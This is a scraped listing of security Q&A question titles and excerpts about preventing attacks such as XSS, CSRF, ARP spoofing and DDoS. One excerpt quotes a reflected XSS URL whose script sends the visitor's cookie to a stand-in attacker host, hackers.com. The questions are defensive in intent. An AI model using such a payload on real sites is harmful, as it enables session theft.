prevention of an attack vector (e.g. XSS, HPP, CSRF)

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Reflected XSS attack via POST request and XML payload

I know that a reflected XSS can be done with a GET request like: http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script> As long the ...
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1answer
82 views

How to protect integrity of resource files in a white-box attack context?

In a white-box attack context (e.g. PC, tablet, smartphone), there is no trusted entity, which can be used to guarantee some reasonable security. TPM is not considered a solution because it is not ...
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53 views

Attack coming from multiple IPs

I have an attack coming to a specific path repeatedly - every 10 minutes or so, the same exact address gets pinged. I know this because I keep getting an error message in my Drupal logs about an ...
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56 views

Retrieve anonymous credentials

Background A registration process to acquire an anonymous, verified account goes like this: Registrant provides proof of individuality to a Registrar. Registrar verifies proof, ensures no prior ...
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73 views

Firewall Security vs Anti-Virus

Overview of my question I want to create a secure Window's system without the use of an Anti-Virus program. Whilst I know there are many on-demand and live-scanning anti-virus programs readily ...
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165 views

Root/Naked domain and DDOS

Some services like Github has DDOS mitigation measures for their root/naked domain, but not other subdomain(s). What so special about the root domain concerning the DDOS attacks? [1] ...
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140 views

Which exploit types does software diversity have a benefit against?

This classical paper of Paul van Oorschot: Revisiting Software Protection, mentions in section 3.4 that by employing software diversity "an exploit crafted to succeed on one instance will not ...
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629 views

Basic Security Knowledge [closed]

Perhaps I am being both naive and overly ambitious in my first post but I have a huge interest in learning about network and system security and am at a loss as to where to begin. I realize that stack ...
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447 views

How to stop a (malicious) endless loop

Few days ago someone tried to crack my site using a Remote File Inclusion attack. The attack was blocked by my Web Application Firewall, but I was curious about the file. So I downloaded it started to ...
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CSRF with OAuth or Bearer Authorization headers

I am designing a RESTful API which is to be accessible from a web browser. The API is protected by Basic authentication. I understand the concept of CSRF, and the mitigations proposed (I found both ...
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239 views

Compromised server with psyBNC - what are our next steps?

One of our VPS servers has an install of psybnc on it. The install has been present for quite some time, and has now been brought to our attention. We have backups, but they also have psybnc on them. ...
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115 views

Guidelines on out-of-band server management via integrated Lights-out services (iLO, iDRAC etc.)

Several CVEs (CVE-2012-3271, CVE-2011-4158, and earlier) point out vulnerabilities in remote server administration firmware; what are the guidelines on hardening this extremely useful component of ...
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59 views

Dangers of a vulnerability in a local installer?

I sent a message to my dev manager about a buffer overflow in our (widely distributed) installer, and received a response that it didn't matter as it wasn't server code. Other than the fact that if ...
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635 views

Hackers attack against wp-config.php

my wordpress site suddenly be hacked via wp-config.php. I have never known this type of attack. When i scan my site, wpscan warn against this errors: How can i protect my site from this attack? ...
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284 views

How to ensure that files uploaded by users do not contain any Javascript

I'm trying to make a file uploader using PrimeFaces, but it is vulnerable to scripts: If someone tries to upload a file (e.g. a résumé) that includes JavaScript, this could get executed once the file ...
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2answers
130 views

Forced to use using 2-Step Authentication to keep online profiles safe?

I am starting to see a majority of services, websites, and social networks offering the 2-step Authentication like crazy now to protect their users. Also, after reading how the Twitter Account N was ...
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112 views

Is it possible to block specific users that connect to the internet behind of same gateway with NAT?

Assume there are two internet users (A and B) that connect to the internet from the same gateway by using NAT. That means they use same IP address while passing through our firewall. Now assume we ...
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How non-executable are implemented? [duplicate]

In the "Hacking the art of Exploitation" its said that the basic idea of stack overflows attacks is that the operating system can't differentiate instructions from data inside the stack ,and the ...
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Possible exploit while MPLS parsing with Bottom of Stack bit

My current task to parse MPLS label in a packet and store them in to a list. When I check packets with MPLS: One can understand it is the last MPLS header by checking Bottom of Stack bit. If ...
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Can a Radius server mitigate an ARP spoofing attack?

I'm helping my school network administrator to try to find a way to mitigate a current ARP spoofing attack on our wifi network. We detected an unknown host (MAC address seem to change, he is probably ...
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73 views

Additional options to protect from bad USB devices in ubuntu

In addiition to the solution options in the other threads How to prevent BadUSB attacks on linux desktop Protecting against bad USB in ubuntu i wanted to ask if it is possible in ubuntu somehow to ...
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70 views

Backdooring vulnerable lighttpd installed on wireless AP [closed]

I have an AP at home and I'm trying to secure it as much as I can. I found an bug by accident. My AP has 3 ports opened: 22/ssh 53/dns 8081/blackice - icecap What I found is that my port 8081 ...
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Breaking it gently

Let's say I've found a fundamental error with mathematics of a security package. For example, let's say I've found something similar to the Pollard’s \rho-1 algorithm that renders some of the RSA keys ...
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Google Eclipse plugin manual telling to skip security warning. What are the risks?

I'm trying to install GWT plugin for Eclipse. The Google manual says among other things Eclipse indeed shows that message during installation. The questions are: What exactly does that message ...
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122 views

Xubuntu guest session security

lately I've been using the guest session on my xubuntu install because I am lazy and I was wondering what the security implications can be on the rest of the system if there is a web browser exploit ...
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Secure self-concealing symmetric encryption (non-verifiable decryption)?

From what I observed using standard encryption tools such as OpenSSH and GPG, the decryption only succeeds when the correct password/key is provided (or at most a few others, in case of collision). ...
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Does Ally Bank's trusted image system actually make login safer? [duplicate]

Ally Bank uses a 'trusted image' system to supposedly make login more secure. I can't find evidence that this is standard practice, so I'll explain it. When creating an account, you choose an image ...
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secure flash update

The default method for updating flash is through Adobe's unsecured http portal, which seems to be a serious security concern, given the access that flash has on a user's machine. Can anyone recommend ...
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Mysql Virtual IP and timeout

What are the risk that I encounter when increasing the timeout of a vip between a web server (apache) and mysql cluster (two servers). Actually it is set to 5 minutes. If time_out was 1hour, knowing ...
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85 views

What tools on unix can scan sql dumps for malware? [closed]

I'm attempting to check for malware, spam and any kind of injection/exploitation on a sql dump that has been provided and was wondering what kind of tools are there already in place to help with this? ...
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Which enterprise-class DBMS allow forbiddance of (No)SQL comments?

This question could be renamed "Would forbidding SQL comments inside transactions prevent some SQL injections?", but I'd like to know if some DBMS allow this first. The goal is to reduce the attack ...
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621 views

GnuTLS ServerHello exploit (CVE-2014-3466) - how to verify?

So pretty much all of the GNUTLS world is worrying about CVE-2014-3466. I checked my Kali and it responds with this - # apt-cache rdepends libgnutls26 | grep -v lib Reverse Depends: ...
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Neutralizing or Migitating ARP spoofing once detected

I've seen a few methods to detect ARP Spoofing attacks through code(such as this), and ways to defend against these attacks through software and switches (like arp spoofing protection on LAN). How ...
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Disable HNAP on D-Link router

I'm concerned that Home Network Administration Protocol (HNAP) is a serious vulnerability that exposes consumer network routers to remote management by malicious entities such as government ...
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285 views

Possible exploits for PHPword/ PHPexcel

I'm trying to identify what exploits to guard against when anonymous users generate reports with PHPword and PHPexcel (or similar libraries). Specifically, I'm worried about textarea inputs where ...
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716 views

Configure Firefox against malicious 302 redirect from a embedded image resource?

Today my friend demonstrated such a attack. I am using RenRen, a social networking website in a way very like Facebook in China. And I saw an article he wrote. Actually there is only an "image" ...
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Hardened SSL ciphers for Nginx as AWS/Cloudfront Custom Origin

Based on recommendations, we recently attempted to harden our Nginx SSL configuration against BEAST/CRIME/BREACH attacks with the following stanza: ssl_prefer_server_ciphers on; ssl_ciphers ...
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899 views

Man-in-the-middle attack over an encrypted channel

I learned recently about man-in-the-middle attacks and came up with this question. Let's say we have two computers who try to communicate over the network. Each computer has an encryptor and a ...
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393 views

How to verify correct, secure and test setuid?

I've been looking into setuid vulnerabilities. Particularly, I am looking on OS X (10.5+) but other modern *nix distos apply as well. For example, I found a world writable suid file installed by a ...
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138 views

Unknown hijacker/popups on the browser

I was cleaning my father’s laptop which was recently infected by a fairly tenacious piece of malware. It hasn't given any great clues as to what it is named or anything of that sort and thus far ...
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CSRF prevention understanding

I was searching around about CSRF attacks and I am thinking about the "random form token" prevention concept. Let's say every form has a "hidden token" inside and the server checks the token before ...
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320 views

Wordpress online pharmacy hack? [duplicate]

Possible Duplicate: Protecting WordPress installations anybody knows how to protect your WordPress website from online pharmacy spam, even after deleting all spam files and deleting spam ...
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2k views

How do we protect our server from anonymous hacker? [duplicate]

Possible Duplicates: Hardening Linux Server How to best defend against Targeted Attacks? I read this news: Anonymous hacker group hits Apple, publishes data My question: How do we ...
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Can the packets of a wireless network be sniffed by a user who is not present in that network?

1.If an user knows the frequency used by a wireless network, is he able to collect the packets from that network? Those packets may be encrypted, but can he collect those packets? 2.If the user has ...
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124 views

Are buffer overflows on websites stoppable?

Recently, I was at the bookstore checking out books on computers. I found an interesting book on various types of hacks and how to stop them on your servers. One that caught my eye was the "buffer ...
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Windows user: Is having many active TCP connections normal?

Is this normal? Can any ports be "dangerous"? I have 9 tcp's in a listening state, 4 in a close_wait state, and 4 in an established state. Some of them route to odd procceses using PID such as ...
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162 views

How can I encrypt something user provided without risk of the key being exposed?

So, let's say I have a theoretical service. User has some text they want to encrypt. They pass it to me, and I encrypt it. Then, only I should be able to decrypt it afterwards. Another kicker, it must ...
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Integrity-Based Execution

Intrusion Detection Systems (IDS) rely on binary signatures or known-bad-behavior of malware in order to detect threats. It has become very clear that this approach has limited success due to the fact ...
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CSRF Token Strategy

I'm trying to learn more about website security, but it's confusing. I often feel like I need to be an attacker in order to understand how to defend against one, since I don't know what they are ...
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To what extend can a DOS attack succeed even if it was detected?

While reading DOS detection and prevention http://staffweb.cms.gre.ac.uk/~lg47/publications/LoukasOke-DoSSurveyComputerJournal.pdf I've asked myself: Even if a firewall detects a DOS attack and begins ...